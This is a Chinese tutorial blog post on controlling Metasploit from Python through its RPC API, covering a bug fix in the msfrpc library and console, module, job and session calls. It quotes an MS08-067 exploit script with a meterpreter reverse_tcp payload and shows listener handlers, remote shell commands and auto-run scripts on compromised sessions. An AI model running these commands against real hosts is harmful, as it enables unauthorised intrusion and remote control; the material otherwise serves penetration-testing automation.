Metaspolit结合Python的使用

Metaspolit结合Python的使用

有关pymsf的修改

pymsf的call函数在登录以后调用一次以上就会报错:
wrong number of arguments (given 2, expected 0)
希望0个参数,但是给了两个
在这里插入图片描述
相关代码:

  def call(self,meth,opts = []):
    .......
    if meth != "auth.login":
      opts.insert(0,self.token)
	......

乍一看没什么问题,不给opts传值时,opts就会赋给一个空List。

但是由于Python中的List为引用类型,opts=[]所对应的空数组只会在开始运行时进行初始化,而后只调用该引用。
说的比较难理解,我们可以做个实验:

def a(b=[]):
    b.append(1)
	print(b)
a()
a() 
a() 

可以发现输出为:
在这里插入图片描述
说明每次b调用的默认List指向了同一个引用。

两个解决办法

  1. 每次给opts赋值
  2. 修改pymsf.py
def call(self,meth,opts = None):
  if opts is None:
    opts = []
    ...

修改后的库:https://github.com/fnmsd/msfrpc

python依赖库

pip install msgpack
#SpiderLabs的那份的msfrpc库的call函数有点问题,我改了一下
wget https://raw.githubusercontent.com/fnmsd/msfrpc/master/python-msfrpc/msfrpc.py

起手

metaspolit端启动msfrpc

load msgrpc Pass=Rinne
#详细参数
#load msgrpc ServerHost=192.168.1.0 ServerPort=55553 User=user Pass='pass123'

执行结果:

在这里插入图片描述
PS:也可以不启动msf来启动msfrpcd,不过不推荐,不方便调试。

ruby msfrpcd -U user -P pass123 -p 55552 -a 127.0.0.1

pyhton端进行连接:

from msfrpc import Msfrpc
#默认连接127.0.0.1:55552,如果指定了端口或host可以将空字典改为{"host":hostname,"port":port}的形式指定端口
client = Msfrpc({})
client.login('msf','Rinne')#登陆成功返回True

得到一个登陆了的MsfRPC客户端,登陆保持的时间似乎比较短,长时间不用时需要重新登陆。

用法

直接读写Console的用法(不推荐)

网上很多是这么做的,先说下这种,在之前的登陆后的client基础上创建一个控制台,进行写入命令、读取输出,和直接在Metaspolit中操作是相同,个人感觉不太灵活。

以下转自:https://www.freebuf.com/sectool/61282.html

#创建控制台
ress = client.call('console.create')
console_id = ress['id']
#构建好要执行的命令
commands = """use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOST """+RHOST+"""
set LHOST """+LHOST+"""
set LPORT """+LPORT+"""
set ExitOnSession false
exploit -z
"""
print "[+] Exploiting MS08-067 on: "+RHOST
#将构建好的命令写入控制台
client.call('console.write',[console_id,commands])
#读取执行结果
res = client.call('console.read',[console_id])
result = res['data'].split('\n')

使用module\jobs\sessions API进行操作

  1. module API

    #ModuleType exploit/post/payload/payloads/encoders
    client.call('module.execute',["ModuleType", "ModuleName", {
      "RHOST" => "1.2.3.4",
      "RPORT" => "80"
      }])
    

    比如想使用multi/handler的进行meterpreter的监听(metasploit中设置参数时参数名可以忽略大小写,API调用时一定要注意大小写)

    client.call('module.execute',['exploit','multi/handler',{
        'LHOST':'0.0.0.0',
        'LPORT':22334,
        'PAYLOAD':'windows/meterpreter/reverse_tcp'
    }])
    

    可以看到成功创建了任务,如果任务创建不成功则job_id为None
    在这里插入图片描述

  2. jobs API

    • 刚才创健的那个任务我们可以使用job.list API看到
    client.call('job.list')
    

在这里插入图片描述

client.call('job.info',[jobid])

在这里插入图片描述

  • 如果想停止任务使用job.stop API
client.call('job.stop',[jobid])

在这里插入图片描述
同时,可以看到对一个不存在的job使用stop会返回error。

  1. session API
  • 查看当前session
client.call('session.list')

会返回详细的session信息
在这里插入图片描述

  • 停止session

    client.call('session.stop',[sessionid])
    #还有个session.meterpreter_session_kill是杀掉meterpreter打开的channel或者shell
    
  • 操作shell类session(直接往shell里写命令)

    client.call('session.shell_write',[sessionid,'whoami'])
    client.call('session.shell_read',[sessionid])
    
  • 操作meterpreter类session(相当于直接在控制台里与meterpreter进行交互)

    client.call('session.meterpreter_write',[sessionid,'getuid'])
    client.call('session.meterpreter_read',[sessionid])
    #还有一个session.meterpreter_run_single可以自行看下手册
    

    在这里插入图片描述

  • session升级(shell升级到meterpreter)

    client.call('session.shell_upgrade',[sessionid])
    

额外的一点东西

有的时候只是为了批量执行命令可以不使用msfrpc,直接写一个rc文件进行批量执行即可。

比如我只是想快速开一个监听器,按照metaspolit命令写这样一个脚本即可,比如叫listener.rc

use multi/handler
set payload windows/meterpter/reverse_tcp
set lhost 0.0.0.0
set lport 12345
set exitonsession false
exploit -j -z

打开msf直接执行resource listener.rc;或者msfconsole -r listener.rc。


同样在meterpreter session连接的时候,可以让其自动执行脚本。

use multi/handler
set AutoRunScript "multi_console_command -r /root/meterpreter.rc"

注意,一定要set AutoRunScript以后再启动handler,否则不生效。

设置好后,当新的session接入后就会自动执行文件中的命令。

参考

  1. MSF常用RPC API(moudles\sessions\jobs…)

    https://metasploit.help.rapid7.com/docs/standard-api-methods-reference

  2. RPC相关参数

    https://metasploit.help.rapid7.com/docs/rpc-api

猜你喜欢

转载自blog.csdn.net/fnmsd/article/details/85251239